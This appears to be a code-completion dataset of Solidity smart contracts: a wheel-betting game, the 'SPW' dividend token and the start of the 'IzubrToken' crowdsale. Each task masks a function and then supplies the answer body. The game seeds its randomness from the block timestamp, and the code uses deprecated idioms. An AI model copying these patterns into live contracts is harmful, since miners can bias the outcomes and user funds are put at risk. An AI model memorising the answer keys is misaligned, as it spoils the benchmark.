letting them know they need to reveal their bet now GameEvent(gameId, game.player1, Event.StartReveal); } /// This can be called by the joining player to force the game to end once the expire /// time has been reached. This is a safety measure to ensure the game can be completed /// in case where the creator decides to not to reveal their bet. In this case, the creator /// will lose the maximal amount of their bet function expireGame(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Only expire from the WaitingForReveal state require(game.state == State.WaitingForReveal); // Has enough time passed to perform this action? require(now > game.expireTime); // Can only expire the game if you are the second player require(msg.sender == game.player2); // Player1 (creator) did not reveal bet in time // Complete the game in favor of player2 game.wheelResult = game.wheelBetPlayer2; game.wheelBetPlayer1 = (game.wheelBetPlayer2 + (WHEEL_SIZE / 2)) % WHEEL_SIZE; // This game is complete, the withdrawEarnings flow can now be invoked game.state = State.Complete; // Fire an event for the player forcing this game to end GameEvent(gameId, game.player1, Event.Expire); GameEvent(gameId, game.player2, Event.Expire); } /// Once a player has joined the game, the creator must reveal their bet /// by providing the same playerSecret that was passed to createGame(...) function revealBet(uint gameId, uint playerSecret) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // We can only reveal bets during the revealing bets state require(game.state == State.WaitingForReveal); // Only the creator does this require(game.player1 == msg.sender); uint i; // Loop counter used below // Find the wheelBet the player made by enumerating the hash // possibilities. It is done this way so the player only has to // remember their secret in order to revel the bet for(i = 0; i < WHEEL_SIZE; ++i) { // Find the bet that was provided in createGame(...) if(createWheelBetHash(gameId, i, playerSecret) == game.wheelBetPlayer1) { // Update the bet to the revealed value game.wheelBetPlayer1 = i; break; } } // Make sure we successfully revealed the bet, otherwise // the playerSecret was invalid require(i < WHEEL_SIZE); // Fire an event for the revealing of the bet GameEvent(gameId, msg.sender, Event.Reveal); // Use the revealed bets to calculate the wheelResult // NOTE: Neither player knew the unrevealed state of both bets when making their // bet, so the combination can be used to generate a random number neither player could anticipate. // This algorithm was tested for good outcome distribution for arbitrary hash values uint256 hashResult = uint256(keccak256(gameId, now, game.wheelBetPlayer1, game.wheelBetPlayer2)); uint32 randomSeed = uint32(hashResult >> 0) ^ uint32(hashResult >> 32) ^ uint32(hashResult >> 64) ^ uint32(hashResult >> 96) ^ uint32(hashResult >> 128) ^ uint32(hashResult >> 160) ^ uint32(hashResult >> 192) ^ uint32(hashResult >> 224); uint32 randomNumber = randomSeed; randomNumber ^= (randomNumber >> 11); randomNumber ^= (randomNumber << 7) & 0x9D2C5680; randomNumber ^= (randomNumber << 15) & 0xEFC60000; randomNumber ^= (randomNumber >> 18); // Update game state game.wheelResult = randomNumber % WHEEL_SIZE; game.state = State.Complete; // Fire an event for the completion of the game GameEvent(gameId, game.player1, Event.Complete); GameEvent(gameId, game.player2, Event.Complete); } /// A utility function to get the minimum distance between two selections /// on a wheel of WHEEL_SIZE wrapping around at 0 function getWheelDistance(uint value1, uint value2) private pure returns (uint) { // Make sure the values are within range require(value1 < WHEEL_SIZE && value2 < WHEEL_SIZE); // Calculate the distance of value1 with respect to value2 uint dist1 = (WHEEL_SIZE + value1 - value2) % WHEEL_SIZE; // Calculate the distance going the other way around the wheel uint dist2 = WHEEL_SIZE - dist1; // Whichever distance is shorter is the wheel distance return (dist1 < dist2) ? dist1 : dist2; } /// Once the game is complete, use this function to get the results of /// the game. Returns: /// - the amount of wei charged for the fee /// - the amount of wei to be paid out to player1 /// - the amount of wei to be paid out to player2 /// The sum of all the return values is exactly equal to the contributions /// of both player bets. i.e. /// feeWei + weiPlayer1 + weiPlayer2 = 2 * betAmountInWei function calculateEarnings(uint gameId) public view returns (uint feeWei, uint weiPlayer1, uint weiPlayer2) { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // It doesn't make sense to call this function when the game isn't complete require(game.state == State.Complete); uint distancePlayer1 = getWheelDistance(game.wheelBetPlayer1, game.wheelResult); uint distancePlayer2 = getWheelDistance(game.wheelBetPlayer2, game.wheelResult); // Outcome if there is a tie feeWei = 0; weiPlayer1 = game.betAmountInWei; weiPlayer2 = game.betAmountInWei; uint winDist = 0; uint winWei = 0; // Player one was closer, so they won if(distancePlayer1 < distancePlayer2) { winDist = distancePlayer2 - distancePlayer1; winWei = game.betAmountInWei * (winDist * WIN_PERCENT_PER_DISTANCE) / 100; feeWei = winWei * FEE_PERCENT / 100; weiPlayer1 += winWei - feeWei; weiPlayer2 -= winWei; } // Player two was closer, so they won else if(distancePlayer2 < distancePlayer1) { winDist = distancePlayer1 - distancePlayer2; winWei = game.betAmountInWei * (winDist * WIN_PERCENT_PER_DISTANCE) / 100; feeWei = winWei * FEE_PERCENT / 100; weiPlayer2 += winWei - feeWei; weiPlayer1 -= winWei; } // Same distance, so it was a tie (see above) } /// Once the game is complete, each player can withdraw their earnings /// A fee is charged on winnings only and provided to the contract authority function withdrawEarnings(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); require(game.state == State.Complete); var (feeWei, weiPlayer1, weiPlayer2) = calculateEarnings(gameId); bool payFee = false; uint withdrawAmount = 0; if(game.player1 == msg.sender) { // Can't have already withrawn require(game.withdrawnPlayer1 == false); game.withdrawnPlayer1 = true; // They can't withdraw again // If player1 was the winner, they will pay the fee if(weiPlayer1 > weiPlayer2) { payFee = true; } withdrawAmount = weiPlayer1; } else if(game.player2 == msg.sender) { // Can't have already withrawn require(game.withdrawnPlayer2 == false); game.withdrawnPlayer2 = true; // If player2 was the winner, they will pay the fee if(weiPlayer2 > weiPlayer1) { payFee = true; } withdrawAmount = weiPlayer2; } else { // The sender isn't a participant revert(); } // This game is no longer active for this player, and now moved to complete for this player arrayRemove(playerActiveGames[msg.sender], gameId); arrayAdd(playerCompleteGames[msg.sender], gameId); // Fire an event for the withdrawing of funds GameEvent(gameId, msg.sender, Event.Withdraw); // Pay the fee, if necessary if(payFee == true) { authority.transfer(feeWei); } // Transfer sender their outcome msg.sender.transfer(withdrawAmount); } }
array.push(element);
function arrayAdd(uint[] storage array, uint element) private
// Internal helper function to add elements to an array function arrayAdd(uint[] storage array, uint element) private
38,895
SPW
sell
contract SPW { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "SPW"; string public symbol = "SPW"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 30; uint8 constant internal charityFee_ = 20; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; address constant public giveEthCharityAddress = 0x27B45BD6020C3fC54D7352B3e29044da3308993d; uint256 public totalEthCharityRecieved; uint256 public totalEthCharityCollected; uint256 public stakingRequirement = 100e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) public administrators; mapping(address => bool) public canAcceptTokens_; function SPW() public { } function buy(address _referredBy) public payable returns(uint256) { purchaseInternal(msg.value, _referredBy); } function() payable public { purchaseInternal(msg.value, 0x0); } function payCharity() payable public { uint256 ethToPay = SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved); require(ethToPay > 1); totalEthCharityRecieved = SafeMath.add(totalEthCharityRecieved, ethToPay); if(!giveEthCharityAddress.call.value(ethToPay).gas(400000)()) { totalEthCharityRecieved = SafeMath.sub(totalEthCharityRecieved, ethToPay); } } function reinvest() onlyStronghands() public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands() public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders() public {<FILL_FUNCTION_BODY> } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if(myDividends(true) > 0) withdraw(); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); require(transfer(_to, _value)); if (isContract(_to)) { AcceptsProofofHumanity receiver = AcceptsProofofHumanity(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } function totalEthereumBalance() public view returns(uint) { return this.balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(SafeMath.mul(profitPerShare_ ,tokenBalanceLedger_[_customerAddress])) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } } function buyPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _charityPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } function etherToSendCharity() public view returns(uint256) { return SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved); } function purchaseInternal(uint256 _incomingEthereum, address _referredBy) notContract() internal returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > 5 ether) { if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) { purchaseEthereum = 5 ether; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } purchaseTokens(purchaseEthereum, _referredBy); if (excess > 0) { msg.sender.transfer(excess); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, charityFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _charityPayout); totalEthCharityCollected = SafeMath.add(totalEthCharityCollected, _charityPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if(tokenSupply_ > 0){ tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract SPW { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "SPW"; string public symbol = "SPW"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 30; uint8 constant internal charityFee_ = 20; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; address constant public giveEthCharityAddress = 0x27B45BD6020C3fC54D7352B3e29044da3308993d; uint256 public totalEthCharityRecieved; uint256 public totalEthCharityCollected; uint256 public stakingRequirement = 100e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) public administrators; mapping(address => bool) public canAcceptTokens_; function SPW() public { } function buy(address _referredBy) public payable returns(uint256) { purchaseInternal(msg.value, _referredBy); } function() payable public { purchaseInternal(msg.value, 0x0); } function payCharity() payable public { uint256 ethToPay = SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved); require(ethToPay > 1); totalEthCharityRecieved = SafeMath.add(totalEthCharityRecieved, ethToPay); if(!giveEthCharityAddress.call.value(ethToPay).gas(400000)()) { totalEthCharityRecieved = SafeMath.sub(totalEthCharityRecieved, ethToPay); } } function reinvest() onlyStronghands() public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands() public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); onWithdraw(_customerAddress, _dividends); } <FILL_FUNCTION> function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if(myDividends(true) > 0) withdraw(); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); require(transfer(_to, _value)); if (isContract(_to)) { AcceptsProofofHumanity receiver = AcceptsProofofHumanity(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } function totalEthereumBalance() public view returns(uint) { return this.balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(SafeMath.mul(profitPerShare_ ,tokenBalanceLedger_[_customerAddress])) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } } function buyPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _charityPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout); return _taxedEthereum; } function etherToSendCharity() public view returns(uint256) { return SafeMath.sub(totalEthCharityCollected, totalEthCharityRecieved); } function purchaseInternal(uint256 _incomingEthereum, address _referredBy) notContract() internal returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > 5 ether) { if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) { purchaseEthereum = 5 ether; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } purchaseTokens(purchaseEthereum, _referredBy); if (excess > 0) { msg.sender.transfer(excess); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, charityFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _charityPayout); totalEthCharityCollected = SafeMath.add(totalEthCharityCollected, _charityPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if(tokenSupply_ > 0){ tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _charityPayout = SafeMath.div(SafeMath.mul(_ethereum, charityFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _charityPayout); totalEthCharityCollected = SafeMath.add(totalEthCharityCollected, _charityPayout); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } onTokenSell(_customerAddress, _tokens, _taxedEthereum);
function sell(uint256 _amountOfTokens) onlyBagholders() public
function sell(uint256 _amountOfTokens) onlyBagholders() public
47,450
IzubrToken
startTokensSale
contract IzubrToken is Ownable, ERC20, SafeMath { string public constant standard = 'Token 0.1'; string public constant name = 'Izubr'; string public constant symbol = "IZR"; uint8 public constant decimals = 18; uint256 public constant tokenKoef = 1000000000000000000; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) public allowed; uint private constant gasPrice = 3000000; uint256 public etherPrice; uint256 public minimalSuccessTokens; uint256 public collectedTokens; enum State { Disabled, PreICO, CompletePreICO, Crowdsale, Enabled, Migration } event NewState(State state); State public state = State.Disabled; uint256 public crowdsaleStartTime; uint256 public crowdsaleFinishTime; mapping (address => uint256) public investors; mapping (uint256 => address) public investorsIter; uint256 public numberOfInvestors; modifier onlyTokenHolders { require(balances[msg.sender] != 0); _; } // Fix for the ERC20 short address attack modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier enabledState { require(state == State.Enabled); _; } modifier enabledOrMigrationState { require(state == State.Enabled || state == State.Migration); _; } function getDecimals() public constant returns(uint8) { return decimals; } function balanceOf(address who) public constant returns (uint256) { return balances[who]; } function investorsCount() public constant returns (uint256) { return numberOfInvestors; } function transfer(address _to, uint256 _value) public enabledState onlyPayloadSize(2 * 32) { require(balances[msg.sender] >= _value); balances[msg.sender] = sub( balances[msg.sender], _value ); balances[_to] = add( balances[_to], _value ); Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public enabledState onlyPayloadSize(3 * 32) { require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); balances[_from] = sub( balances[_from], _value ); balances[_to] = add( balances[_to], _value ); allowed[_from][msg.sender] = sub( allowed[_from][msg.sender], _value ); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public enabledState { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant enabledState returns (uint256 remaining) { return allowed[_owner][_spender]; } function () public payable { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); uint256 valueWei = msg.value; uint256 price = currentPrice(); uint256 valueTokens = div( mul( valueWei, price ), 1 ether); if( valueTokens > 33333*tokenKoef ) // 5 BTC { price = price * 112 / 100; valueTokens = mul( valueWei, price ); } require(valueTokens > 10*tokenKoef); collectedTokens = add( collectedTokens, valueTokens ); if(msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); mintTokensWithReferal(msg.sender, referer, valueTokens); } else { mintTokens(msg.sender, valueTokens); } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function getTotalSupply() public constant returns(uint256) { return totalSupply; } function depositTokens(address _who, uint256 _valueTokens) public onlyOwner { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); uint256 bonus = currentBonus(); uint256 tokens = _valueTokens * (100 + bonus) / 100; collectedTokens = add( collectedTokens, tokens ); mintTokens(_who, tokens); } function bonusForDate(uint date) public constant returns (uint256) { require(state == State.PreICO || state == State.Crowdsale); uint nday = (date - crowdsaleStartTime) / (1 days); uint256 bonus = 0; if (state == State.PreICO) { if( nday < 7*1 ) bonus = 100; else if( nday < 